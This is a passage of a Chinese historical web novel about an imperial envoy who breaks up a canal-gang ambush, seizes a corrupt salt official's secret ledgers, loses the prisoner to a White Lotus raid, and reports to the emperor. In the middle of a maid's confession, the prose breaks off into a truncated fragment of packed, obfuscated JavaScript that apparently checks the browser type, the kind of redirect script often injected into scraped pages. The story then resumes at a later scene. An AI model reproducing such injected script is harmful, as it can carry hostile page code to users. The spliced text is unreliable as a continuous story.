这是比渡口搏杀更隐秘、也更危险的使命。沈济川经昨夜一事,对锦瑟院的看守只会更严。但伊凡没有丝毫犹豫,挣扎着从榻上起身,单膝跪地:“臣领命!必不辱命!” 萧道煜伸手虚扶了他一把,指尖冰凉,触到伊凡手臂时,两人俱是微微一颤。 “小心。”依旧是这两个字,却比昨夜多了几分难以言喻的重量。 伊凡抬头,望进那双深不见底的金瞳,心头像是被什么东西狠狠撞了一下,闷闷地疼。他低下头,掩去眼中翻涌的情绪:“世子明日渡口……万望珍重。” 萧道煜“嗯”了一声,不再多言,转身走向窗边。推开窗户,深秋的夜风灌入,带着运河特有的水腥气和远处隐约的桂花残香。东方天际,已泛起一丝极淡的鱼肚白。 长夜将尽,黎明之前,往往是最黑暗的时刻。 瓜洲古渡,坐落扬子江与运河交汇之处,自古便是南北咽喉,漕运要冲。时值深秋,江风浩荡,吹得岸边芦苇如雪浪翻涌,飒飒作响。渡口码头以青石垒砌,被千百年来纤夫的号子和客商的脚步磨得光滑如镜。几艘待渡的官船静静泊在岸边,桅杆上的旗帜在风中猎猎抖动。 巳时将近,渡口却异乎寻常地“热闹”。 本该是客商往来、舟楫如梭的时辰,此刻码头上却显得有些空荡。只有十数名穿着漕帮号衣的汉子,正在一艘装饰华美的楼船旁忙碌,张灯结彩,铺设红毡,摆开酒席,一副要大肆庆贺的模样。为首的是个中年汉子,面皮黝黑,身材魁梧,敞着衣襟,露出胸口一道狰狞的刀疤,正是漕帮扬州分舵舵主,人称“翻江龙”的冯万里。 他一边指挥手下布置,一边看似随意地扫视着渡口四周。货栈的窗户半开半掩,隐约可见人影晃动;停靠在芦苇深处的几艘破旧渔舟,船舱里堆着的似乎并非渔网,而是长长的、用油布包裹的物件;更远处,几间临江的茶肆酒楼,今日也门窗紧闭,静得出奇。 二百亡命徒,已如毒蛇般潜伏就位,只等猎物踏入罗网。 辰时末,钦差仪仗逶迤而至。 旌旗招展,甲胄鲜明,黑鳞卫骑兵开道,步伐整齐划一,铁蹄踏在青石板上,发出沉闷而富有节奏的轰鸣。中间是八匹骏马拉着的钦差车驾,朱漆描金,垂着明黄绸缎的车帷。车驾前后,各有二十名黑鳞卫护卫,手按刀柄,目光警惕。 队伍在渡口空地停下。车帘掀起,萧道煜由萨林搀扶着步下车驾。 一身绯色蟒袍,玉带皂靴,衬得身形愈发瘦削挺拔。面色在秋日晴空下,依旧苍白得近乎透明,唇色浅淡,唯有一双金瞳,迎着江面反射的粼粼波光,亮得灼人。 冯万里带着几个头目模样的汉子快步迎上,抱拳行礼,声如洪钟:“漕帮扬州分舵冯万里,奉盐运使之命,特在此恭迎钦差大人!略备水酒,为大人接风,聊表我等草民对朝廷、对大人的仰慕之心!” 他笑容满面,眼神却不着痕迹地打量着萧道煜,以及她身后那些沉默肃立、煞气逼人的黑鳞卫。 “冯舵主有心了。”萧道煜声音平静,听不出情绪,“沈大人何在?” “盐运使衙门有紧急公务处理,稍后便到。特命小人先在此伺候大人。”冯万里侧身引向那艘装饰一新的楼船,“大人请上船,酒席已备好,江景佐酒,别有一番风味。” 萧道煜目光扫过那艘楼船,又掠过看似空旷的码头,唇角勾起一丝极淡的弧度:“客随主便。” 在萨林与数名黑鳞卫的贴身护卫下,萧道煜踏上跳板,登上楼船。船舱内果然布置得富丽堂皇,红毡铺地,紫檀桌椅,美酒佳肴陈列。窗户大开,江风穿堂而过,带着湿润的水汽。 冯万里殷勤劝酒,言辞恭维,眼神却不时瞟向窗外,计算着时辰。 酒过三巡,萧道煜只略沾了沾唇,便放下酒杯,忽道:“冯舵主,本官有一事不明,还望指教。” “大人请讲!” “漕帮素以押运漕粮、护卫水道为业,依律领取工食银。然近年来,漕粮损耗日增,运期屡误,朝廷多次申饬。本官查阅卷宗,发现多有漕船‘遭遇风浪’、‘触礁沉没’之报,而所载‘损耗’之粮,数目惊人。”萧道煜金瞳直视冯万里,缓缓道,“不知冯舵主对此……有何见解?” 冯万里笑容僵了僵,干笑两声:“这个……天有不测风云,江上行船,风险难免。弟兄们也是提着脑袋吃饭,难免……难免有些折损。” “是吗?”萧道煜指尖轻叩桌面,“可本官却听说,有些‘沉没’的漕船,隔日便出现在黑水渡,船上的‘漕粮’,转眼就成了私盐,流通市井,获利巨万。冯舵主久在江上,可曾听过这般奇事?” 船舱内的气氛骤然降至冰点。 冯万里脸上的笑容彻底消失,眼神变得阴鸷狠厉。他缓缓放下酒杯,环顾舱内——除了萧道煜和紧贴其身后的萨林,只有四名黑鳞卫立在门边。而楼船之外,码头上他布置的人手,已悄然围拢,货栈、渔舟中的弓弩手,想必也已就位。 “钦差大人,”冯万里声音阴沉下来,“有些事,知道得太多,未必是福。这扬州地界,水深浪急,不小心……可是会翻船的。” “哦?”萧道煜似笑非笑,“冯舵主这是在威胁本官?” “不敢。”冯万里站起身,手按上腰间刀柄,“只是提醒大人,强龙不压地头蛇。盐运使给过您机会,是您自己……不识抬举。” 他话音未落,猛地将手中酒杯掷在地上! “啪嚓”脆响,如同信号! 霎时间,船舱窗户同时被从外撞破,数名黑衣汉子持刀跃入!码头上喊杀声震天而起,货栈窗户洞开,露出数十张强弓,箭矢如飞蝗般射向楼船甲板上的黑鳞卫!芦苇丛中的渔舟里,也冲出数十名手持利刃的亡命之徒,嗷嗷叫着扑杀过来! 杀局发动,只在瞬息! 然而,预想中的惊慌失措并未出现。 甲板上的黑鳞卫面对箭雨,毫不慌乱,迅速举起早已备在手中的藤牌,结成紧密盾阵,叮叮当当的箭矢撞击声如骤雨打荷。与此同时,他们另一只手从盾后探出,赫然是早已上弦的劲弩,扳机扣动,弩箭带着凄厉破空声,精准地射向货栈窗口的弓手! 惨叫声立刻从货栈中传来。 更令人心惊的是,渡口外原本空旷的江边道路两旁,草丛中、土坡后,骤然站起数十名全身黑衣、脸覆铁面的武士,手持雪亮弯刀,如同地狱中爬出的恶鬼,沉默而迅猛地从后方杀入漕帮匪徒的队伍!为首一人,身形高大如铁塔,弯刀过处,血肉横飞,正是本该在萧道煜身边的萨林!他何时离开的楼船,竟无人察觉! 冯万里瞳孔骤缩,心知中计!对方早有防备,而且埋伏的人手,比他想象的更多,更精锐! “保护大人!”萨林一声暴喝,如虎啸山林,震得船舱梁木簌簌作响。他已砍翻数名企图靠近楼船的匪徒,浑身浴血,绿眸在厮杀中闪烁着兴奋而残忍的光芒,牢牢护在楼船跳板前,一夫当关。 船舱内,战斗同样激烈。 扑入舱内的几名黑衣杀手武功不弱,刀法狠辣,直取萧道煜。守在门边的四名黑鳞卫悍然迎上,刀光剑影,瞬间搅在一起。桌椅倾覆,杯盘碎裂,酒浆与鲜血混合,染红了猩红的地毯。 萧道煜依旧端坐椅上,神色平静,仿佛眼前血肉横飞的厮杀与她无关。 一名杀手拼着挨了一刀,突破黑鳞卫的拦截,手中淬毒短剑如毒蛇吐信,直刺萧道煜心口! 萧道煜金瞳一冷,并未闪躲。就在短剑距她胸口仅有三寸时,袖中滑出一柄尺余长的乌木镶金折扇,“唰”地展开,扇骨竟是精钢所铸,边缘锋利如刃,准确无比地格开短剑,顺势向前一送! “噗嗤”一声,扇骨尖端没入杀手咽喉。 杀手瞪大眼睛,难以置信地看着眼前这张昳丽苍白、却冷漠如冰的脸,手中短剑“当啷”落地,身体软软倒下。 萧道煜抽回折扇,雪白的扇面上溅了几点殷红,如雪地红梅,触目惊心。她看也不看地上的尸体,只对仍在苦战的黑鳞卫淡淡道:“速战速决。” 舱外,战局已呈一边倒之势。 黑鳞卫装备精良,训练有素,配合默契,远非漕帮这些乌合之众可比。加上萨林这尊杀神左冲右突,无人能挡,很快便将码头上匪徒的攻势压制下去。货栈中的弓手被黑鳞卫的劲弩压制,死伤惨重。从渔舟冲出的匪徒,也被外围埋伏的黑鳞卫截杀大半。 冯万里见大势已去,心胆俱裂,再顾不得其他,转身便想趁乱跳江逃走。 “想走?”萨林早已盯死了他,岂容他脱身?足下发力,如苍鹰搏兔,几个起落便追上,手中弯刀带着凌厉风声,直劈其后心! 冯万里也算悍勇,回身举刀格挡。“铛”一声巨响,火星四溅!他只觉一股巨力从刀上传来,震得虎口崩裂,长刀脱手飞出!萨林另一只手如铁钳般探出,扣住他肩井穴,内力一吐,冯万里半边身子顿时酸麻无力,被萨林狠狠掼在地上,踩住背心。 “绑了!”萨林冷喝。 残余的漕帮匪徒见舵主被擒,更是魂飞魄散,纷纷弃械投降,跪地求饶。 渡口重新安静下来,只余浓重的血腥味在江风中弥漫。青石板上横七竖八躺着数十具尸首,伤者的呻吟哀嚎此起彼伏。黑鳞卫正在打扫战场,清点俘虏。 萧道煜缓步走出船舱,踏上甲板。江风拂动他绯色袍角,猎猎作响。她面色比方才更白了几分,唇上毫无血色,唯有那双金瞳,依旧亮得慑人,平静地扫过这修罗场般的景象。 萨林押着捆成粽子的冯万里来到船下,单膝跪地:“禀世子,匪首冯万里就擒,其麾下亡命之徒,毙四十七人,俘九十三人,余者溃散。我军轻伤十一人,无人阵亡。” “很好。”萧道煜声音微哑,“将冯万里单独关押,严加审讯,务必要他供出与沈济川勾结的细节,以及私盐转运的渠道、账目下落。” “是!” “此地不宜久留。”萧道煜抬眼,望向扬州城方向,金瞳深处寒光凛冽,“沈济川此刻,想必已收到消息了。萨林,你带一半人手,押送俘虏,随后赶来。其余人,随我立刻进城。” “世子,您的身体……”萨林担忧地看向她苍白的脸。 “无妨。”萧道煜摆手,转身走向车驾,脚步虽稳,背脊却挺得笔直,仿佛撑着一股不肯松懈的气。“速去准备。我要在盐运使府……恭候沈大人‘凯旋’。” 同一时刻,扬州城内,盐运使府。 相较于渡口的血雨腥风,府内显得异常安静,甚至有些死寂。昨夜锦瑟院闹刺客,沈济川大发雷霆,今日又亲赴瓜洲渡“安排”,府中下人个个噤若寒蝉,走路都踮着脚尖。 锦瑟院更是门户紧闭,连粗使婆子都不见踪影,只有五姨娘的贴身丫鬟兰儿,红肿着眼眶,端着一碗几乎未动的汤药,从楼上下来。 五姨娘自昨夜受了惊吓,又挨了沈济川一掌,便发起高烧,昏昏沉沉。请了大夫来看,说是“急怒攻心,外感风寒”,开了方子,叮嘱静养。兰儿守了一夜,心力交瘁。 她将药碗放在楼下小厨房的灶台上,想着去库房再取些银炭来,姨娘畏寒。刚走出院门,拐过月洞门,后颈忽然一痛,眼前发黑,软软倒下。 一道身影从假山后闪出,扶住兰儿,迅速将她拖到僻静角落。正是伊凡。他腿伤未愈,行动间仍有些跛,但眼神锐利,动作干净利落。他换了一身府中小厮的灰布衣裳,脸上做了些修饰,掩去了原本过于阴柔俊美的轮廓。 迅速搜检了兰儿身上,并无特别之物。伊凡略一沉吟,从怀中取出一个小瓷瓶,拔开塞子,在兰儿鼻端晃了晃。刺鼻的气味让她蹙了蹙眉,有转醒的迹象。伊凡立刻掐住她的人中,低声道:“想活命,就别喊。” 兰儿惊恐地睁开眼,看着眼前这张陌生的、带着疤痕的脸,浑身发抖。 “五姨娘将那个紫檀木匣子,藏到哪里去了?”伊凡声音压得极低,却带着不容置疑的威胁,“说实话,饶你不死。若敢叫喊或欺瞒,立刻送你上路。” “我、我不知道……”兰儿颤声。 伊凡手指微微用力,兰儿痛得眼泪直流。“昨夜老爷发怒,姨娘病倒前,可曾交代你什么?将东西交给了谁?或者……指示你藏在何处?”他耐心引导,“仔细想想,比如……府中还有哪位姨娘、公子,或者管事,是姨娘绝对信任的?或者,有没有提起过,城外某处庄子、某间铺子?” 兰儿被他冰冷的目光和手指的力道吓得魂不附体,脑中混乱,断断续续道:“姨娘……姨娘只让我……将她妆奁最底层那支赤金点翠凤钗……送去给、给西门街‘宝祥银楼’的邱掌柜……说…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而就在他身影消失在角门外不久,一阵急促的马蹄声由远及近,轰然撞破盐运使府的宁静!大门被粗暴撞开,全身染血、甲胄残破的几名漕帮溃兵连滚爬爬冲进来,嘶声大喊: “不好了!出大事了!渡口……渡口伏击败了!冯舵主被擒了!钦差、钦差带着人马杀过来了!” 府中瞬间大乱!惊呼声、哭喊声、奔跑声响成一片。 后院书房内,沈济川正焦躁地踱步,等待渡口的“好消息”。闻听此报,如遭五雷轰顶,脸色“唰”地变得惨白如纸,踉跄后退,撞翻了博古架上的一个前朝青玉瓶。 “咣当”脆响,玉瓶粉碎,如同他此刻彻底崩塌的谋划和侥幸。 “老爷!老爷!不好了!”管家连滚爬爬冲进来,面无人色,“钦差仪仗已到府门外!黑鳞卫……黑鳞卫将府邸围住了!” 沈济川腿一软,跌坐在太师椅上,浑身冷汗如浆,瞬间浸透了里衣。完了……全完了…… 四、府破账现 盐运使府大门外,钦差仪仗肃然列阵。 黑鳞卫铁甲森然,刀出半鞘,将府邸围得水泄不通。街面上百姓远远围观,议论纷纷,指指点点,却无人敢靠近。 萧道煜并未下车,只命萨林上前叫门。 朱漆大门缓缓打开,沈济川强作镇定,带着一众属官迎出,脸上挤出的笑容比哭还难看:“不、不知钦差大人去而复返,有失远迎……大人,瓜洲渡之事,下官刚刚听闻,实乃漕帮冯万里那厮狼子野心,竟敢谋害钦差!下官失察,罪该万死!还请大人入内歇息,容下官细细禀报……” “不必了。”车帘掀起,萧道煜冷冽的声音传出,“沈济川,你勾结漕帮,设伏刺杀钦差,证据确凿。本官奉旨,即刻查抄盐运使府,一应人等,不得擅动。萨林——” “在!” “拿人!” “是!”萨林早已不耐,闻言大手一挥,“黑鳞卫,进府!凡有抵抗者,格杀勿论!” 如狼似虎的黑鳞卫瞬间涌入府门,分扑各处。府中仆役女眷惊叫声四起,乱作一团。沈济川面如死灰,还想挣扎,已被两名黑鳞卫反剪双臂,捆得结实。 “萧道煜!你、你敢擅抓封疆大吏!本官要上奏朝廷!要告御状!”沈济川嘶声喊道。 “御状?”萧道煜这才缓步下车,绯色蟒袍在秋阳下灼目,苍白面容上一双金瞳冰冷如刀,“等你到了北镇抚司诏狱,自有让你说话的地方。带下去,严加看管!” 萨林亲自押着沈济川,扔进早已备好的囚车。 查抄随即开始。黑鳞卫动作迅速,训练有素,分头控制账房、库房、书房、各房院落。翻箱倒柜,启墙掘地,搜查一切可疑之物。金银珠宝、古玩字画、地契房契不断被搜检出来,堆积在院中,阳光下闪闪发光,令人咋舌。 但萧道煜最关心的那本暗账,却迟迟未见踪影。外书房、内书房、沈济川卧房,乃至几位姨太太房中,都仔细搜过,只有些寻常往来信件、无关紧要的账目。 萧道煜站在院中,看着不断搬出的财物,金瞳微沉。沈济川老谋深算,绝不会将如此要命的东西放在明处。昨夜伊凡打草惊蛇,他必然已转移。会去哪里?心腹管事家中?城外别业?还是…… 他忽然想起伊凡临走前的任务。锦瑟院,五姨娘…… “萨林,带人去锦瑟院,再仔细搜一遍。尤其是五姨娘贴身之物,以及她身边那个叫兰儿的丫鬟。”萧道煜吩咐。 萨林领命而去。 就在这时,府门外一阵骚动。伊凡押着一个穿着绸缎长衫、面如土色的中年胖子,快步走了进来。那胖子手中还死死抱着一个不起眼的蓝布包袱。 “世子!”伊凡将胖子掼在地上,单膝跪地,双手呈上那蓝布包袱,“臣在西门街宝祥银楼,抓获此人——银楼掌柜邱明。他见臣出示五姨娘的金钗,又闻知盐运使府被围,惊慌失措,正欲携带此包袱从后门逃走,被臣当场擒获。” 萧道煜目光落在那蓝布包袱上:“打开。” 伊凡解开包袱,里面并无金银,赫然是厚厚一摞账册,以及数封密信!账册封皮陈旧,并无字样,翻开内页,蝇头小楷记录着一笔笔触目惊心的交易:某年某月某日,于黑水渡“接收”私盐多少引,付给“冯爷”银钱几何;某年某月某日,送京城某衙门口“冰敬”、“炭敬”若干;某年某月某日,收购某盐商被抄没的盐引,转手获利巨万……林林总总,时间、人物、数目,清晰在目。 那几封密信,则是沈济川与朝中几位官员往来的书信,内容涉及盐利分润、互相包庇、打压异己等,署名、印鉴俱全。 铁证如山! 萧道煜拿起最上面一本账册,快速翻阅了几页,金瞳中寒光越来越盛。有了这些东西,沈济川罪责难逃,更能顺藤摸瓜,牵扯出背后更多魑魅魍魉。 “办得好。”她看向伊凡,目光中带着赞许,虽然面色依旧苍白,语气却缓和了些,“伤势如何?” “谢世子关心,无碍。”伊凡低头,心头却因这一句询问,泛起一丝微不可察的涟漪。 “将邱明一并收押,严加审讯,看他还知道些什么。”萧道煜将账册交给萨林,“这些,连同沈济川,即刻安排可靠人手,押解进京。路上若有闪失,唯你是问!” “遵命!”萨林肃然应道。 萧道煜环顾这雕梁画栋、此刻却一片狼藉的盐运使府,目光最后落在瘫软在地、面无人色的沈济川身上。 “沈大人,”她声音不高,却清晰传入每个人耳中,“你方才问本官敢不敢。如今,你可以亲自去问问陛下,问问朝廷律法,本官……究竟敢不敢。” 沈济川嘴唇哆嗦,再也说不出一个字,眼中只剩下无尽的恐惧和绝望。 秋风卷过庭院,带来运河的水汽和淡淡的血腥味。日头渐高,将这座刚刚经历巨变的府邸,照得一片明亮,也照出了那繁华锦绣之下,不堪入目的肮脏与罪恶。 瓜洲渡的刀光剑影,盐运使府内的隐秘盗取,最终在这堆冰冷的账册前,交汇成一条无可辩驳的罪链。 扬州盐案,至此撕开了一道巨大的、血淋淋的口子。而真正的风暴,或许才刚刚开始酝酿。 萧道煜抬手,轻轻按了按又隐隐作痛的小腹,望向北方京城的方向。金瞳深处,映着秋日高远的天空,无喜无悲,唯有深不见底的寒冽与决绝。 该回去了。带着这些染血的战利品,回到那座更大的、无形的战场。 17. 第 17 章 押解沈济川返京的车队,离了扬州地界,一路向北。 时值盛夏,越往北走,天气愈发闷热。官道两旁的老树枝繁叶茂,层层叠叠的叶子被烈日晒得蔫垂,在灼热的南风中无精打采地摇晃,发出沙沙的摩擦声。田野里庄稼疯长,绿浪翻滚,远山青翠欲滴,天地间却是一片蒸腾的、令人窒息的燠热。马蹄踏过被晒得发白的硬土,车轮碾过浮尘深厚的路面,辘辘声单调而沉闷,仿佛永无尽头。 萧道煜只穿着一件单薄的云纹纱袍,依旧觉得热浪从四面八方裹挟而来,汗水浸湿了里衣,黏腻地贴在身上。腹中的石瘕这几日闹得厉害,随着路途颠簸和心绪起伏,时不时便是一阵抽痛,像有只看不见的手在里头攥着、拧着。她脸色苍白,唇上干裂,唯有一双金瞳,在马车晃动的、被树影切割的炽烈光线下,依旧亮得惊人,却也冷得慑人。 萨林骑马护卫在车驾旁,寸步不离。他绿眸警惕地扫视着官道两侧茂密的草丛、起伏的土丘,以及远处被热浪蒸得有些扭曲的村落轮廓。自离开扬州,他便有种隐约的不安。白莲教在瓜洲渡示警,却又在盐运使府被围、沈济川落网后销声匿迹,这本身就不合常理。他们究竟意欲何为?是敌是友?或者……只是在等待更好的时机? 伊凡的腿伤未愈,被萧道煜强令留在车内。他靠坐在角落,脸色也不好,失血加上闷热,让他本就阴柔的面容更添几分憔悴。但他精神却异常警醒,耳朵捕捉着车外每一丝不寻常的响动,目光时不时落在闭目养神的萧道煜身上,带着难以言喻的复杂情绪。 沈济川被单独关在一辆特制的囚车里,铁栅栏有手臂粗细,由四名黑鳞卫日夜轮班看守。他早已不复扬州时的威风,蓬头垢面,衣衫被汗水浸透,眼神浑浊呆滞,偶尔发出几声含混的咒骂或低泣,很快便被滚滚热浪和蝉鸣吞没。那几本要命的暗账,被萨林贴身收藏,片刻不离身。 行至第五日黄昏,抵达沂州地界。天色阴沉得厉害,铅灰色的云层低低压下来,闷雷在远处滚动。空气中弥漫着一股潮湿的土腥气和植物蒸腾的浓郁气息,预示着将有一场暴雨,或者……大雾。 “世子,前方十里便是沂州驿馆。”萨林在车外禀报,声音带着被热气蒸腾后的沙哑,“今日天色已晚,是否在驿馆歇宿,明日再行?” 萧道煜掀开车帘一角,看了看昏沉压抑的天色。南风似乎停了,但那股湿热窒闷的感觉却更重了,像无形的湿布捂住口鼻。她点了点头:“就歇在驿馆。告诉驿丞,清空闲杂人等,加强戒备。” “是。” 沂州驿馆位于官道旁,是一座三进的院落,白墙灰瓦,在暮色中显得格外孤清。驿丞是个五十来岁的干瘪老头,见到钦差仪仗和黑鳞卫,吓得腿脚发软,连话都说不利索,忙不迭地命人洒扫房舍,准备饭食、清水和驱蚊的艾草。 萧道煜被安置在内院最清净的正房。萨林亲自检查了房间,又命黑鳞卫在驿馆四周布下岗哨,将沈济川的囚车牢牢锁在后院马厩旁,派了八名好手严加看守,这才稍稍放心。 晚膳简单,萧道煜只用了半碗冰镇绿豆汤,便摆了摆手。腹中又开始隐隐作痛,一阵紧过一阵,她额角渗出细密的冷汗,强撑着没有表露。 “世子,可要传随行太医?”伊凡轻声问道。自扬州出发时,斐兰度并未随行,只留了药方和足够的药散。 “不必。”萧道煜摇头,从怀中取出药瓶,倒了些药散和水服下。苦涩的味道在舌尖化开,那股温热的暖流缓缓升起,暂时压下了疼痛,却也带来更深的疲惫与昏沉。“你们都下去歇息吧,今夜警醒些。” 萨林与伊凡对视一眼,躬身退出。 室内重归寂静,只有窗外聒噪的蛙鸣与虫声。萧道煜靠在榻上,听着那喧闹又空洞的自然之声,感受着汗水顺着颈项滑下的黏腻。她闭上眼,脑海中却不由自主地浮现出离开扬州前的情景:沈济川瘫软在地的绝望,堆积如山的金银珠宝,还有……那几本记录着无数罪恶的账册。 这些账册一旦呈到御前,会掀起怎样的波澜?能扳倒多少蠹虫?又能……让这浑浊的世道,清明几分? 她不知道。 她只知道,这是她的职责,是她身为“萧道煜”必须完成的使命。哪怕前路是刀山火海,哪怕……会将自己也焚烧殆尽。 药力渐渐上来,意识开始模糊。就在她将要沉入黑暗之际,鼻端忽然嗅到一丝若有若无的、奇异的甜香。 不是驿馆常用的劣质熏香,也不是草木的气息。那味道……带着些许腥甜,像是某种浓烈的花香,又像是……庙宇里焚烧的香火,却更腻,更令人不安。 萧道煜猛地睁开眼,金瞳在昏暗的光线下精光一闪! 几乎是同时,窗外传来一声极轻微的闷哼,像是有人被捂住了口鼻,随后是重物倒地的声音! “敌袭——!”萨林雷鸣般的暴喝骤然在院中炸响!紧接着便是兵刃出鞘、呼喊奔走的杂乱声响! 萧道煜霍然起身,抓过榻边的乌木折扇,几步冲到门边。她并未贸然开门,而是侧耳倾听。外面厮杀声、惨叫声已经连成一片,刀剑碰撞声密集如雨!更诡异的是,方才还能看到的、从窗纸透进来的零星灯笼光亮,此刻竟迅速变得模糊、黯淡,仿佛被一层浓稠的雾气吞噬! 那甜香……是迷烟?还是毒雾? “世子!不要出来!”萨林的声音在门外响起,带着粗重的喘息和压抑的愤怒,“是白莲教!雾里有毒!我们的人……倒了好几个!” 白莲教!果然来了! 萧道煜心一沉。她迅速撕下一片衣襟,用水浸湿,掩住口鼻。然后推开一丝门缝向外看去。 只见院中浓雾翻滚,白茫茫一片,几乎伸手不见五指。雾气中,隐约可见人影幢幢,厮杀正酣。黑鳞卫显然中了暗算,有人脚步踉跄,有人捂着喉咙痛苦倒地。而袭击者似乎戴着防毒的面具或湿布,在雾中穿梭如鬼魅,出手狠辣。 “保护囚车!”萨林的吼声在雾中传来。 后院方向传来更激烈的打斗声,夹杂着囚车被撞击的巨响和沈济川惊恐的尖叫! 他们的目标是沈济川! 萧道煜不再犹豫,湿布掩面,闪身冲出房门!浓雾立刻将她包裹,那甜腥气更重了,即使隔着湿布,也直冲脑门,带来阵阵眩晕。她咬破舌尖,剧痛让她保持了一丝清明。 雾中视线极差,只能凭声音和模糊的影子判断。她辨明方向,朝着后院冲去。刚转过回廊,一道黑影悄无声息地从雾中扑出,手中钢刀带着寒光,直劈面门! 萧道煜折扇一展,精钢扇骨架住钢刀,顺势一绞,将那刀带偏,另一只手并指如剑,疾点对方肋下要穴!那黑影闷哼一声,软软倒下。 她脚步不停,继续前冲。沿途又解决了两名拦路的白莲教徒。这些教徒武功并不算顶尖,但配合默契,悍不畏死,加上浓雾掩护,着实难缠。 冲到后院时,场面更为混乱。马厩旁,七八名黑鳞卫正与数量更多的白莲教徒激战,地上已躺了数具尸体。囚车的铁栅栏已被利器劈开一道缺口,沈济川半个身子探在外面,正被两名蒙面人往外拖拽!看守的黑鳞卫拼死阻拦,却被其他教徒死死缠住。 萨林浑身浴血,正与一个身形异常高大、头戴狰狞鬼面的头目激斗!那头目使一柄沉重的九环鬼头刀,招式大开大合,势大力沉,萨林弯刀轻灵,却也不敢硬接,两人斗得难解难分,刀风将周围的雾气都搅得翻涌不息。 “拦住他们!”萧道煜厉喝一声,折扇脱手飞出,旋转着削向一名正拖拽沈济川蒙面人后颈! 那蒙面人反应极快,侧身躲过,折扇深深嵌入旁边木柱。萧道煜已趁机抢到近前,掌风凌厉,拍向另一名蒙面人! 两名蒙面人放下沈济川,联手攻来。萧道煜腹中剧痛再次袭来,动作微微一滞,肩头被刀锋划过,鲜血立时染红了白衣。她闷哼一声,却半步不退,招式越发狠辣,以伤换伤,硬生生将两人逼退。 就在这时,那与萨林缠斗的鬼面头目忽然发出一声尖利的长啸! 啸声未落,浓雾深处骤然响起一阵奇异的、仿佛金铁摩擦又似梵唱般的尖锐声音!那声音直往人脑髓里钻,令人心烦意乱,气血翻腾!几名黑鳞卫动作一滞,面露痛苦之色。 鬼面头目趁机虚晃一刀,逼退萨林,身形如鬼魅般扑向囚车方向!他的目标不是沈济川,而是……萧道煜! “世子小心!”萨林目眦欲裂,急追而来,却已慢了一步! 鬼面头目刀势如山,携着无匹劲风,当头劈下!萧道煜刚刚击退两名蒙面人,气血翻涌,腹中痛楚达到顶点,眼前阵阵发黑,竟有些提不起气力闪避! 眼看刀锋及体—— 斜刺里,一道月白身影猛然扑出,狠狠撞在萧道煜身上,将她撞得向旁踉跄几步! “噗嗤!” 刀锋入肉的声音沉闷而清晰。 鬼面头目的刀,深深劈入了那突然扑出的身影肩背之间!鲜血如泉涌出,瞬间染红了月白锦衣。 是伊凡! 他不知何时挣脱了腿伤的束缚,从藏身处冲出,用身体为萧道煜挡下了这致命一刀! “伊凡——!”萧道煜瞳孔骤缩,失声喊道。 伊凡闷哼一声,脸色惨白如纸,却死死咬着牙,反手掷出一把不知从何处摸来的短匕,直射鬼面头目面门!鬼面头目偏头躲过,伊凡已趁机拉着萧道煜向后急退! “走!”伊凡嘶声喊道,声音因剧痛而扭曲。 鬼面头目一击不中,眼见其他黑鳞卫已合围上来,雾中那尖锐的怪声也渐渐减弱,知道时机已失。他不再恋战,长刀一挥,逼开萨林,对拖拽沈济川的教徒喝道:“撤!” 两名蒙面教徒拖着吓瘫的沈济川,迅速退入浓雾深处。鬼面头目与其余教徒且战且走,很快也消失在白茫茫的雾气中。 萨林欲追,却被萧道煜喝止:“雾中有毒,穷寇莫追!” 浓雾渐渐散去,甜腥气也淡了。院中一片狼藉,死伤枕籍。黑鳞卫阵亡七人,伤者十余。驿丞和几个驿卒早已吓晕过去。 萧道煜扶着重伤的伊凡,看着他背上那道几乎可见白骨的狰狞伤口,鲜血汩汩流出,怎么也止不住。伊凡气息微弱,眼神却依旧望着她,嘴唇翕动,似乎想说什么,终是无力地闭上了眼睛。 “立刻找大夫!最好的大夫!”萧道煜声音嘶哑,带着她自己都未曾察觉的颤抖。她撕下自己的衣襟,徒劳地试图按住伊凡的伤口,温热的血很快浸透布料,染红了她的手指。 萨林沉着脸,命人快去寻医。他走到萧道煜身边,低声道:“世子,沈济川……被劫走了。” 萧道煜抱着昏迷的伊凡,缓缓抬起头。金瞳之中,映着院中尚未散尽的薄雾和斑驳血迹,冰冷得如同万载玄冰。她没有说话,只是那眼中的寒光,比这夏夜的闷热,更加令人窒息。 白莲教……鬼面头目……沈济川…… 好,很好。 这笔账,她记下了。 半月后,京城。 盛夏的紫禁城,笼罩在灼人的暑气之中。金黄的琉璃瓦在刺目的阳光下,反射着刺眼的光芒。殿宇嵯峨,飞檐斗拱如沉默的巨兽,匍匐在这权力的中心,连空气都仿佛凝滞不动。 太和殿内,早朝尚未散去。 文武百官分列两班,鸦雀无声。大殿内虽然放置了冰盆,丝丝凉意却驱不散那股弥漫在空气中的、无形的凝重与压抑。所有人的目光,都似有似无地瞟向丹墀之下,那个刚刚奉旨回京、风尘未洗的绯色身影。 萧道煜跪在冰冷的金砖上,背脊挺得笔直。她面色比离京时更加苍白消瘦,眼下有浓重的青影,唇色淡得几乎看不见。唯有那双金瞳,依旧灼亮,直视着龙椅上端坐的永熙帝,无喜无悲。 她刚刚禀报了南下扬州查办盐案的经过:沈济川贪墨勾结、漕帮设伏刺杀、暗账查获……条理清晰,证据确凿。只是在说到沂州驿馆白莲教劫囚、沈济川被神秘带走时,她顿了顿,声音依旧平稳:“臣护卫不力,致使要犯被劫,请陛下治罪。” 大殿内响起低低的嗡嗡议论声。白莲教!这个销声匿迹数年的名字,再次出现在朝堂之上,还劫走了钦犯!这意味着什么? 永熙帝高坐龙椅,冕旒下的面容看不真切。他沉默了片刻,缓缓开口,声音听不出情绪:“萧卿平身。南下查案,辛苦你了。沈济川罪大恶极,死不足惜。白莲教余孽猖獗,竟敢劫夺钦犯,朕自会命有司严加剿捕。”他顿了顿,“卿所获之暗账,何在?” 萧道煜起身,从萨林手中接过一个紫檀木匣,双手高举过顶:“暗账在此,请陛下御览。” 太监将木匣接过,呈到御案前。 永熙帝打开木匣,取出那几本厚厚的账册,随手翻看了几页。殿中静得能听见纸页翻动的沙沙声,和冰盆里冰块融化的细微滴水声。许多大臣屏住了呼吸,目光死死盯着皇帝手中的账册,又飞快地垂下眼,掩饰内心的惊涛骇浪。 那里面,有多少人的名字?多少见不得光的交易? 时间一点一滴过去,仿佛格外漫长。 